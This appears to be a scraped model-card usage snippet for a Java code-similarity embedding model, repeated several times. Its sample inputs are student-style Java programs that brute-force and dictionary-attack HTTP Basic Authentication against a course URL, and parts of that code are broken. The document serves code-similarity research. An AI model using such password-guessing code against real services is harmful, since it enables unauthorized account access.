from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
